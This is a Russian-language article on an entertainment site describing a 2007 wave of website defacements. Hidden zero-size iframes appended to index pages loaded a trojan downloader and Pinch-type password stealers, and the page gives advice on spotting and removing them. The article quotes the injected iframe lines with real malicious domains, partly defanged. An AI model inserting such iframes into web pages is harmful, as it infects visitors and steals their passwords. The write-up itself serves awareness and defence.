Главная сайта | Форум | Фотоальбом | Казуальные игры | Регистрация   | Вход | Cайт в избранное | Правила сайта и форума

Приветствую Вас Гость | RSS


Фильмы | Онлайн Видео | Софт | Новости и Статьи | Игры онлайн | Фотоальбом | Форум

Если addblock у вас включен и здесь не отображается полоска из 6-ти несчастных тизеров, прочтите информацию здесь.
Как отключить блокировку рекламы на любимом сайте (Windows)

Загрузка...
МЕНЮ САЙТА
ПОИСК ПО САЙТУ

Трио: Великое Поселение
Трио: Великое Поселение
Новогодние Пазлы
Новогодние Пазлы
Тайны Города N
Тайны Города N
Вальгор
Вальгор
Охотники за сокровищами 2
Охотники за сокровищами 2
Письма из Прошлого
Письма из Прошлого
Страйк Бол 2
Страйк Бол 2
Путешествие Кассандры
Путешествие Кассандры
Дримлэнд
Дримлэнд
Маша. Рождественская сказка
Маша. Рождественская сказка

Во что поиграть на этой неделе — 26 янва...

Во что поиграть на этой неделе — 6 апрел...

Во что поиграть на этой неделе — 25 авгу...

Во что поиграть на этой неделе — 9 февра...

Во что поиграть на этой неделе — 9 ноябр...

Во что поиграть на этой неделе — 17 нояб...

Во что поиграть на этой неделе — 2 февра...

Игромания! ИГРОВЫЕ НОВОСТИ, 29 июля (Dea...

Во что поиграть на этой неделе — 15 апре...

Во что поиграть на этой неделе — 29 март...
СТАТИСТИКА
Всего материалов:
Фильмомания: 1766
Видео: 193
Каталог файлов: 82
Каталог статей: 6068
Каталог игр онлайн: 521
Фотоальбом: 1236
Форум: 636/3844
Каталог сайтов: 375

Всего зарегистрировано:
Зарегистрировано: 1156
Сегодня: 0
Вчера: 0
За неделю: 3
За месяц: 9

Из них:
Пользователи: 1102
Проверенные: 7
Друзья: 4
Редакторы: 0
Журналисты: 8
В вечном бане: 30
Модераторы: 1
Администраторы: 2

Из них:
Парней 964
Девушек 190


ON-Line всего: 1
Гостей: 1
Пользователей: 0

Сейчас на сайте:


День Рождения у: nurgozha(57), zum(39)
ПО ЖЕЛАНИЮ, ПОМОЧЬ САЙТУ, ВЫ МОЖЕТЕ ЧЕРЕЗ ПОЖЕРТВОВАНИЕ ЛЮБОЙ СУММЫ.

Категории каталога

Главная » Статьи » Статьи » Статьи: Общие

Новый троян, похищающий пароли доступа

Новый троян, похищающий пароли доступа и не определяющийся антивирусными программами.
Как бороться с прокатившейся эпидемией изменения
индексных страниц сайтов?
 

Я не зря написал слово "эпидемия". Дело в том, что в конце 2006 - начале 2007 года владельцы сайтов столкнулись с неприятной ситуацией. При открытии индексной страницы сайта (хостинг значение не имеет, платный или бесплатный) на компьютер начинал подгружаться вирус-троян, который антивирусной программой не определялся.
Оказывается, в код страницы были внесены изменения - после завершающего кода конца страницы была добавлена ссылка на сайт-вирусоноситель, с которого собственно и загружался троянец.
Некоторые индексные страницы вообще "стирались", то есть, на них не оставалось ни одного тега, чисто тебе чистый лист бумаги :).
Соответственно прокатилась волна претензий и обвинений к хостерам, из-за "взлома" хостов пользователей. Явление приняло такие масштабы, что впору было обвинять именно хостеров в том, что они допустили похищение баз аккаунтов пользователей и теперь злоумышленники их используют.
Один такой случай, правда, был в прошлом году с valuehost.ru, когда была "утянута" целая база паролей с сервера (за достоверность не ручаюсь), но в теперешней ситуации винить хостеров в заражении индексных страниц несколько преждевременно.

Говорю это на основании собственного опыта, так как я сам убедился, что в один прекрасный день были дефейснуты (хакнуты) индексные страницы этого сайта и бесплатников на narod.ru и nm.ru. Причем, вход на фтп был выполнен с моим аккаунтом и паролем, то есть без брутфорса и подобных вещей.
 Суть вносимых изменений заключается в том, что на странице index.html (или index.php) после завершающего тега '/html' появляется следующий участок кода:
iframe src=http://pynet.ws/col/index.php width="0" height="0" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" и т.д.
Это может быть ссылка на http://www.counter-pr.info/sp_pack/counter/index.php, http://mz0i.info/gera/index.php или iframe src='http://ltds.biz/go.php?id=1781&user_name=sam' width=1 height=1 /iframe или другой сайт

Я намеренно убрал открывающие кавычки и гиперссылку, чтобы Вы не попались на эту ловушку :). Тег iframe, в который заключена ссылка, имеющий значение width="0" и height="0" говорит о том, что Вы не увидите открывающееся окно "левого" сайта, поскольку заданы нулевые координаты этого окна.
Сразу предвижу закономерный вопрос о лохизме и неиспользовании антивируса на компьютере :)) Так вот, антивирусом ДрВеб (DrWeb) лаборатории Данилова пользуюсь уже около 7 лет, претензий к нему не имел, обновляю постоянно. Плюс к этому на компьютере стоит Agnitum Outpost Firewall, который говорит свое веское слово в спорных случаях, типа "программа c:/windows/r.exe запрашивает исходящее соединение ..." и так далее. Таким способом, как я думал, мне удавалось иметь 100% уверенность в завтрашнем дне smile Оказалось, что все не так просто...

Анализ возможного заражения привел к парадоксальному результату. Индексные страницы менялись после того, как я проводил авторегистрацию сайтов в каталогах с помощью программы AllSubmitter. Сама программа, конечно, не виновата, просто в базе данных находились "зараженные" ссылки. Простая логика говорит о том, что в этой базе находится одна или несколько ссылок на сайты, с которых загружается вирус-троян.

Но проблема заключалась не только в паролях доступа к ftp. Кроме того была сделана попытка утянуть пароль на аську-семизначник, который удалось восстановить ретривом. Больше всего подходит под результаты ущерба Trojan типа Pinch, так как он умеет обходить файерволл и антивирусные программы, а "тырит" все, к чему может дотянуться, в том числе пароли, сохраненные в IE, CuteFTP (мой случай), Total Commander и еще десятке различных программ.
Исследование ссылки, которая дописывалась на индексную страницу моего сайта дали возможность предположить, что имеется в виду комплексная атака на компьютер. То есть:
Сначала загружается Trojan-Downloader.VBS. Psyme.fc - троянская программа-загрузчик других троянов. Именно она подгружает еще два вируса - Trojan-PSW.Win32.LdPinch.bik (или модификация) и Trojan.Win32.Agent.oh (не обязательно).

Самое интересное, что как ДрВеб, бывший на компьютере, так и впоследствии скачанный и установленный после него Антивирус KAV, определяли, что на компьютер закачивается троян и его ликвидировали. Вроде... На самом деле, это мог быть просто известный троян, который служил ширмой.
Еще один ньюанс: с самого начала загрузки файлов с зараженного сайта на рабочем столе мог создаваться и выполнялся файл new.exe (его копия могла создаваться в папке Temp и папке интернет-обозревателя - в моем случае Maxthon). В папке Виндовс появлялись файлы названиями r.exe или c.exe, которые антивирусом не опознавались как опасные.
По свидетельствам других пользователей в папке Windows мог создаваться поддельный файл с названием svchost.exe (оригинал находится в папке System32). Тогда в процессах операционной системы трудно определить, какой из процессов, используемых программой svchost.exe есть истинный, а какой поддельный.
Но! Существует одно "но" - трояны типа Pinch надежно отлавливаются как Доктор Веб, так и антивирусом Касперского. Вроде отлавливаются... Возможно предположение, что запущена или модификация этого вируса, которая успевает обойти антивирус, или работает другой вирус, который маскируется "Пинчем".
Как видим, прослеживается четкая тенденция - заражение индексной страницы, закачка на компьютер трояна-даунлоадера, закачка этим трояном одного или нескольких троянцев, которые похищают пароли, передача паролей злоумышленнику.

Такая передача может идти как через почтовый клиент (отправляется письмо на горячий мейл), так и через командную строку Internet Explorer (антивирусом не определяется). Вполне возможно, что троян мог использовать и имеющийся фтп-клиент для того, чтобы модифицировать индексную страницу. Вариантов здесь множество.
Одно замечание: в моем случае действие трояна можно было заметить по тому, что была запущена служба Telnet и удаленное управление рабочим столом, так же как и удаленный доступ к реестру. Можете проверить прямо сейчас, зайдите через "Панель управления/Администрирование" в список служб, и если они у Вас работают, отключите
Существовал еще один вариант, почему не определялся вирус, причем, достаточно вероятный. Используемая программа-троян могла принадлежать к руткитам (программам, внедряемым в ядро операционной системы), которые трудно обнаруживаются антивирусами. Или используется уязвимость Интернет Эксплорер версии 6 (Internet Explorer 6). Вот как о ней писалось: Удаленный пользователь может с помощью специально сформированной Web страницы загрузить на удаленную систему произвольный HTA файл и затем выполнить его с привилегиями пользователя, запустившего браузер. Удачная эксплуатация уязвимости позволит злоумышленнику выполнить произвольный код на целевой системе.
Спрашивается, что делать? Первое, проверьте свои сайты, если при открытии индексной страницы Ваш антивирус скажет, что выполняется или загружается троян, Вы заразились. Если даже и ничего не произойдет, просмотрите HTML-код, на предмет присутствия после тега '/html' внедренного тега 'iframe' с атрибутами "width="0" height="0" или width="1" height="1".
Если с Вами произошла эта неприятность, то как от нее избавиться читайте на странице:
Очистка операционной системы от вирусов, троянов и программ-шпионов

Так как поиск уязвимостей хакерами ориентирован на Internet Explorer, есть и компромиссный вариант: использовать альтернативный браузер, не базирующийся на платформе IE. Это Firefox (огненная лиса) на движке Mozilla. Ознакомиться с ним Вы можете по баннеру ниже:

Вы можете попробовать новый быстрый браузер Mozilla Firefox — это браузер, обладающий функцией блокировки всплывающих окон и просмотра страниц на вкладках, а также функциями безопасности и конфиденциальности. В браузер Firefox интегрирована панель инструментов Google, чтобы предоставить пользователям еще больше полезных функций: поиск в Google, проверку правописания и автозаполнение.
Установите и попробуйте - Вы не потеряете ничего. А вот если Mozilla Firefox оправдает Ваши ожидания, тогда забудете про все проблемы, связанные с осликом ИЕ.
Новую информацию об этой теме можете прочитать на странице

Если на странице вы заметили в посте отсутствие изображений, просьба сообщить , нажав на кнопку.



После прочтения материала " Новый троян, похищающий пароли доступа ", можно просмотреть форум и поискать темы по данной игре.



ДРУГИЕ МАТЕРИАЛЫ
Игры и зависимость: мнение физиолога
Шпионские фото нового 3G-телефона от ASUS
Какой мужчина нужен женщине?
Простой способ "вечной" работы Касперского
Warhammer Online: скрины и интервью
Выражать ли свои чувства?
Е3 2009: геймплей Mass Effect 2 на видео
Футуристический интернет-планшет Lenovo IdeaPad U8
Официальный трейлер аддона Fallout 3: Mothership Zeta
Первые намёки на Command & Conquer 4
Peugeot Metromorph: автомобиль, паркующийся на стене
Актив и пассив: две видеокарты MSI GeForce 9400 GT
American Airlines провела интернет в небо
Информация и скрины из первого превью шутера Rage
IBM обошла HP на рынке серверов
Свежий ролик Resident Evil 5 из Германии
E3 2009: трейлер экшена Front Mission Evolved
Возрождение X-Wing, TIE Fighter
У SPARKLE готовы восемь GeForce 9400 GT на 55-нм чипе
Вся правда о поцелуях

Если вам понравился материал "Новый троян, похищающий пароли доступа", - поделитесь ним с другими.


html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию


Категория: Статьи: Общие | Добавил: Фокусник (14.08.2007)
Просмотров: 2886

Ниже вы можете добавить комментарии к материалу " Новый троян, похищающий пароли доступа "

Внимание: Все ссылки и не относящиеся к теме комментарии будут удаляться. Для ссылок есть форум.


Всего комментариев : 0
avatar
ФОРМА ВХОДА
ПАРТНЕРЫ

World of Warships — это free-to-play ММО-экшен, который позволяет окунуться в мир масштабных военно-морских баталий. Возьмите под управление легендарные боевые корабли первой половины ХХ века и завоюйте господство на бескрайних океанских просторах.

Курсы обмена WebMoney


Что такое ресурс Turbobit и как качать.

Установите Диск для Windows Папка Яндекс.Диска выглядит так же, как обычная папка на компьютере, но хранит ваши файлы ещё и на сервере Яндекса. Они доступны только вам и тем, кого вы сами выберете. А добраться до них можно с любого устройства с интернетом.
Получи 10 ГБ места бесплатно, на всю жизнь.
Видеообзор игры Evil Within: The Assignment
Видеообзор игры Evil Within: The Assignment
Игрозор №210
Игрозор №210
5 минут - и вы поймете за что нужно любить родителей...
5 минут - и вы поймете за что нужно любить родителей...
Повезло, что домик одноэтажный
Повезло, что домик одноэтажный
Видеообзор игры Wolfenstein: The New Order
Видеообзор игры Wolfenstein: The New Order
Видеообзор игры Batman: Arkham Knight
Видеообзор игры Batman: Arkham Knight
«A Skate Escalation» c Киллианом Мартином
«A Skate Escalation» c Киллианом Мартином
Неадекват в Ставрополе
Неадекват в Ставрополе
Игрозор №224
Игрозор №224
Tasha - Сережа
Tasha - Сережа

Повседневная жизнь матери двоих детей в забавных иллюстрациях (13 шт)
Повседневная жизнь матери двоих детей в забавных иллюстрациях (13 шт)
Свежие прикольные фотомемы (18 шт)
Свежие прикольные фотомемы (18 шт)
Героические животные, спасшие жизни людей
Героические животные, спасшие жизни людей
Фотоприколы с кошками (17 шт)
Фотоприколы с кошками (17 шт)
Порция демотиваторов (17 шт)
Порция демотиваторов (17 шт)
Когда российские дороги строят даже в Бельгии (20 фото)
Когда российские дороги строят даже в Бельгии (20 фото)
Немного прикольных демотиваторов
Немного прикольных демотиваторов
Лоренц Валентино — лучший друг знаменитостей
Лоренц Валентино — лучший друг знаменитостей
СТАТИСТИКА
Яндекс.Метрика


Copyright © 2000-2019, Alex LTD and System PervertedХостинг от uCoz